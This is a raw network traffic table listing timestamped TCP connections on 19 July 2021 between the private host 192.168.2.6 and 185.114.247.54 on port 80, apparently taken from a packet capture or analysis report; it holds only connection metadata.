Jul 19, 2021 18:36:06.793091059 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.793097973 CEST	49867	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.793756962 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.793800116 CEST	49867	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.793857098 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.794028044 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.794140100 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.876602888 CEST	80	49867	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.890180111 CEST	80	49867	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.890321970 CEST	49867	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.890628099 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.890654087 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.892333984 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.892363071 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.892436028 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.892817020 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.892846107 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.892885923 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.892908096 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.893313885 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.893338919 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.893409014 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.893651009 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.893779039 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.894268990 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.894329071 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.894329071 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.894397020 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.900083065 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.901487112 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.988830090 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.988858938 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.988877058 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.988903046 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.988930941 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.988941908 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.988961935 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.989276886 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.989295959 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.989378929 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.990004063 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.990020990 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.990101099 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.990777969 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.990809917 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:06.990964890 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.995424032 CEST	49867	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.996403933 CEST	49868	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:06.997987032 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.001116037 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.079178095 CEST	80	49868	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.079276085 CEST	49868	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.079948902 CEST	49868	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.086033106 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.086049080 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.086137056 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.086148024 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.086159945 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.086169958 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.086308956 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.086617947 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.087052107 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.087074995 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.087155104 CEST	80	49867	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.087236881 CEST	49867	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.087440014 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.087898016 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.087913990 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.088267088 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.098932981 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.098949909 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.098957062 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.163537025 CEST	80	49868	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.163552999 CEST	80	49868	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.163630009 CEST	49868	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.182885885 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.182905912 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.183068991 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.193653107 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.193738937 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.275540113 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.276057959 CEST	49868	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.277616978 CEST	49869	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.375175953 CEST	80	49866	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.375200033 CEST	80	49869	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.375262022 CEST	49866	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.375443935 CEST	49869	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.376141071 CEST	49869	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.410197973 CEST	80	49868	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.420080900 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.436785936 CEST	80	49868	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.439150095 CEST	49868	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.474036932 CEST	80	49869	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.474054098 CEST	80	49869	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.474194050 CEST	49869	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.514300108 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.514425039 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.515362024 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.515496969 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.515733957 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.515851021 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.587801933 CEST	49869	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.589669943 CEST	49871	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.609112978 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.609137058 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.609198093 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.609683990 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.609702110 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.609757900 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.610069990 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.610083103 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.610137939 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.610419035 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.610481977 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.610769987 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.610783100 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.610845089 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.610873938 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.611587048 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.611604929 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.611661911 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.612199068 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.612212896 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.612263918 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.686506033 CEST	80	49869	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.686525106 CEST	80	49871	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.686610937 CEST	49869	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.686661005 CEST	49871	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.687335968 CEST	49871	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.703567028 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.703588963 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.703656912 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.703706980 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.706773043 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.706849098 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.727233887 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.727539062 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.783862114 CEST	80	49871	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.797234058 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.797338963 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.797398090 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.797441959 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.800462008 CEST	80	49871	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.801071882 CEST	49871	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.802829981 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.802948952 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.821017027 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.821036100 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.821096897 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.821218967 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.821259022 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.821382046 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.891954899 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.891978025 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.891992092 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.892005920 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.892018080 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.892030001 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.892043114 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.897274971 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.897294998 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.915263891 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.915290117 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:07.916615963 CEST	49871	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.916980982 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:07.947818041 CEST	49872	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.013335943 CEST	80	49871	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.017179966 CEST	49871	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.025829077 CEST	80	49870	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.034287930 CEST	49870	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.047823906 CEST	80	49872	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.057224035 CEST	49872	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.248559952 CEST	49872	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.254707098 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.338304996 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.340167046 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.340769053 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.340791941 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.341042042 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.341070890 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.346390009 CEST	80	49872	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.347788095 CEST	80	49872	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.348184109 CEST	49872	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.424329042 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.424349070 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.424372911 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.424546003 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.424576998 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.425163984 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.425201893 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.425307989 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.425334930 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.425438881 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.425471067 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.425523043 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.425564051 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.425662041 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.425693035 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.425796986 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.425822020 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.426351070 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.426615000 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.426733971 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.426774979 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.427589893 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.465471983 CEST	49874	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.465472937 CEST	49872	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.508460999 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.508481979 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.508599997 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.508646011 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.508655071 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.508795023 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.508840084 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.508889914 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.508920908 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.510217905 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.510276079 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.510482073 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.511048079 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.513542891 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.550956964 CEST	80	49874	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.551721096 CEST	49874	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.553106070 CEST	49874	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.592144966 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.592168093 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.592183113 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.592313051 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.597513914 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.608587980 CEST	80	49872	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.632787943 CEST	80	49872	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.633224964 CEST	49872	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.636231899 CEST	80	49874	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.636346102 CEST	80	49874	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.637201071 CEST	49874	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.676755905 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.676776886 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.676794052 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.676804066 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.773238897 CEST	49874	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.773617029 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.776998997 CEST	49875	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.778281927 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.858736038 CEST	80	49875	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.860249996 CEST	80	49874	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.861531973 CEST	80	49873	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.861555099 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.865432024 CEST	49874	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.865469933 CEST	49873	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.865509033 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.866260052 CEST	49875	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.866491079 CEST	49875	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.867064953 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.867181063 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.867408037 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.867594957 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.944036007 CEST	80	49875	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.949456930 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.949487925 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.949585915 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.949745893 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.950028896 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.950108051 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.950509071 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.950582981 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.950747013 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.950805902 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.950998068 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.951046944 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.951200008 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.951255083 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.951394081 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.951453924 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.951705933 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.951756954 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.952430964 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.952505112 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.952543020 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.952596903 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.952668905 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.952722073 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:08.971235037 CEST	80	49875	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:08.971414089 CEST	49875	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.032164097 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.032201052 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.032217979 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.032263994 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.032306910 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.032424927 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.032494068 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.032912016 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.032999992 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.033020973 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.033092022 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.033474922 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.033564091 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.033586979 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.033653975 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.035417080 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.035535097 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.087938070 CEST	49875	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.088963032 CEST	49877	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.114321947 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.114348888 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.114357948 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.114455938 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.114476919 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.114510059 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.114680052 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.115051031 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.115364075 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.115478992 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.115608931 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.115623951 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.117307901 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.117532969 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.117547989 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.117675066 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.181541920 CEST	80	49877	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.181673050 CEST	49877	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.182748079 CEST	49877	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.192522049 CEST	80	49875	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.192657948 CEST	49875	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.196275949 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.196305990 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.196433067 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.196506023 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.275322914 CEST	80	49877	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.275466919 CEST	80	49877	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.275562048 CEST	49877	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.756113052 CEST	49877	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.756372929 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.757440090 CEST	49878	80	192.168.2.6	185.114.247.54
